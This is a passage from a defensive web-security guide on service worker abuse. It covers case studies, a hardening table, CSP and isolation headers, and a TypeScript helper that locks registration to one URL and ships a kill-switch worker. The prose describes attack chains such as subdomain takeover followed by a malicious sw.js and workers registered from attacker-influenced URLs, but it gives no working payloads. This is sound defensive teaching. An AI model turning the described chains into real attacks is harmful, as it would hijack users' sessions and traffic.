sw.js, capturing every returning user. Vendors learned to ship a kill-switch before decommissioning any subdomain and to keep a DNS inventory that flags dangling records. - Cryptocurrency wallet extensions abused by malicious workers (2023-2025), several wallet UIs share origins with web content; a malicious worker installed on the wallet origin could intercept the address-confirmation step of a transaction. Vendors moved wallet UIs to dedicated extension contexts and added CSP
worker-src 'none'on transaction-confirmation surfaces. - Push-notification phishing campaigns (ongoing), attackers register workers on look-alike domains and use push subscriptions to deliver phishing notifications that appear to come from real brands. Browser vendors have iterated on the permission UI; the practical defence on the application side is to treat push subscriptions as session-bound and unsubscribe at every logout.
fetch in scope, including /api/* calls that the SPA assumes are trusted. The correct severity depends on the specific call site; the right move as a reviewer is to fix the bug, structurally separate user content from the app origin, ship a kill-switch worker, and stop arguing CVSS.Across the case studies, what is the recurring root cause?
08 //Beyond the Code: CSP, COOP, Origin Isolation, and Incident Response
The application-code fix (a single registration helper, hard-coded URL, strict scope) closes the immediate sink. The HTTP-header and origin-architecture fix limits the blast radius when a regression slips through, and a documented incident-response runbook is what gets you out of an active compromise. Treat service worker posture as part of the application's identity, not a separate ops concern.
Outbound Hardening Recommendations
| Control | What it does | Why it limits service worker abuse |
|---|---|---|
| CSP worker-src 'self' | Restricts the URLs from which worker scripts may be loaded | A missed registration with an attacker URL fails at the CSP layer even if the application code is wrong. |
| Separate origin for user content | Uploads, exports, previews on a dedicated *-usercontent.tld with no shared cookies | Structurally prevents user-controlled bytes from becoming registrable workers on the app origin. |
| X-Content-Type-Options: nosniff (every response) | Disables MIME sniffing across the origin | Even if a misconfigured endpoint omits Content-Type, the browser will not promote bytes to JavaScript. |
| Cross-Origin-Opener-Policy: same-origin | Isolates the browsing-context group for cross-origin popups | Pairs with worker isolation to keep cross-origin tabs from sharing worker state in edge cases. |
| Origin-Agent-Cluster: ?1 | Asks the browser to put this origin in its own agent cluster | Tighter process isolation; reduces the surface for cross-origin pollution adjacent to worker bugs. |
| Kill-switch worker in version control | Pre-written sw.js whose install handler unregisters and clears caches | Lets you evict every installed worker in one deploy when an incident is detected. |
| DNS / subdomain inventory | Automated check for dangling records and stale subdomains that ever served a worker | Prevents the "old subdomain takeover, new sw.js" attack chain. |
| Push subscription lifecycle hooks | unsubscribeFromPush() on logout, password reset, and account deletion | Stops attacker-controlled or stale workers from continuing to phish via push after credentials change. |
1# Set on every authenticated HTML response from the app origin.
2# These headers are the server-side backstop for service worker abuse and
3# adjacent client-side compromise classes.
4
5Content-Security-Policy:
6 default-src 'self';
7 script-src 'self';
8 worker-src 'self';
9 connect-src 'self' https://api.app.tld;
10 frame-ancestors 'none';
11 form-action 'self';
12 base-uri 'none';
13X-Content-Type-Options: nosniff
14Cross-Origin-Opener-Policy: same-origin
15Origin-Agent-Cluster: ?1
16Referrer-Policy: strict-origin-when-cross-origin
17
18# worker-src 'self' restricts the URLs from which worker scripts may load,
19# even if application code calls register() with an attacker-supplied URL.
20#
21# nosniff prevents the browser from promoting non-JS responses to JS, closing
22# the upload-becomes-worker chain when Content-Type is wrong.
23#
24# COOP same-origin and Origin-Agent-Cluster tighten cross-origin isolation
25# so that even if a worker does install, neighbouring origins are isolated.1// lib/sw.ts, the one and only allowed service worker registration entry point.
2//
3// Everything goes through this module. Direct navigator.serviceWorker.register
4// usage is banned by lint. The module guarantees:
5// * Hard-coded same-origin URL
6// * Explicit scope and updateViaCache:'none'
7// * Origin check to refuse running on an attacker mirror
8// * Centralised error logging
9// * Helpers for push lifecycle (subscribe, unsubscribe-on-logout)
10// * Kill-switch deployment via the same URL
11
12const SW_URL = '/sw.js';
13const SW_SCOPE = '/';
14const EXPECTED_ORIGIN = 'https://app.tld';
15
16function isSupported(): boolean {
17 return typeof navigator !== 'undefined' && 'serviceWorker' in navigator;
18}
19
20function isExpectedOrigin(): boolean {
21 return typeof window !== 'undefined' && window.location.origin === EXPECTED_ORIGIN;
22}
23
24export async function registerServiceWorker(): Promise<ServiceWorkerRegistration | null> {
25 if (!isSupported() || !isExpectedOrigin()) return null;
26 try {
27 return await navigator.serviceWorker.register(SW_URL, {
28 scope: SW_SCOPE,
29 type: 'classic',
30 updateViaCache: 'none',
31 });
32 } catch (err) {
33 reportError(err);
34 return null;
35 }
36}
37
38export async function unregisterServiceWorker(): Promise<void> {
39 if (!isSupported()) return;
40 const regs = await navigator.serviceWorker.getRegistrations();
41 await Promise.all(regs.map((r) => r.unregister()));
42}
43
44export async function deployKillSwitch(): Promise<void> {
45 // Call this from incident-response tooling; combined with shipping a
46 // kill-switch sw.js at /sw.js this evicts every installed worker on
47 // every returning client.
48 await unregisterServiceWorker();
49 const keys = await caches.keys();
50 await Promise.all(keys.map((k) => caches.delete(k)));
51}
52
53// Use it everywhere a worker is needed:
54// await registerServiceWorker();
55// // on logout / password reset: await unsubscribeFromPush();
56// // on incident response: await deployKillSwitch();09 //Conclusion
Service worker abuse is a textbook case of authority transferred across an install seam. The application is correct in isolation; the browser is correct; the same-origin policy is enforced. The vulnerability lives in the moment a registration call accepts a URL that an attacker influenced, or in the moment a same-origin response is allowed to be promoted to JavaScript. Fix it the same way every adjacent bug class is fixed: a single helper, applied at every sink, paired with a structurally separate user-content origin and an HTTP posture (CSP worker-src, nosniff, COOP) that limits the damage when something does slip through.
updateViaCache: 'none' · Refuse registration on unexpected origins · Host user uploads on a separate origin, never the app origin · Always send X-Content-Type-Options: nosniff · Use Content-Type: application/octet-stream and Content-Disposition: attachment for non-renderable user content · Ban bare navigator.serviceWorker.register via ESLint no-restricted-syntax · Add Semgrep / CodeQL rules that flag dynamic register() URLs and dynamic importScripts · Set CSP worker-src 'self', Cross-Origin-Opener-Policy: same-origin, Origin-Agent-Cluster: ?1, and a tight script-src on every authenticated document · Pre-write a kill-switch worker and rehearse deploying it · Tie push subscriptions to session lifecycle so logout actually unsubscribes.When you see a new navigator.serviceWorker.register in a diff, the first question is not "does this work", it is "what authority does this hand to whoever controls the script bytes, and for how long?" If the answer is "every fetch for the entire origin, until the user clears site data", every byte in the registration URL and every byte the URL resolves to is a security-critical interface. The fix is one helper, one separate origin, and one HTTP header set away. Pair this module with the Advanced XSS Patterns, CSP Bypass Techniques, and Subdomain Takeover guides for the adjacent classes where the bug is "an attacker-influenceable response is loaded with privileged authority by the application".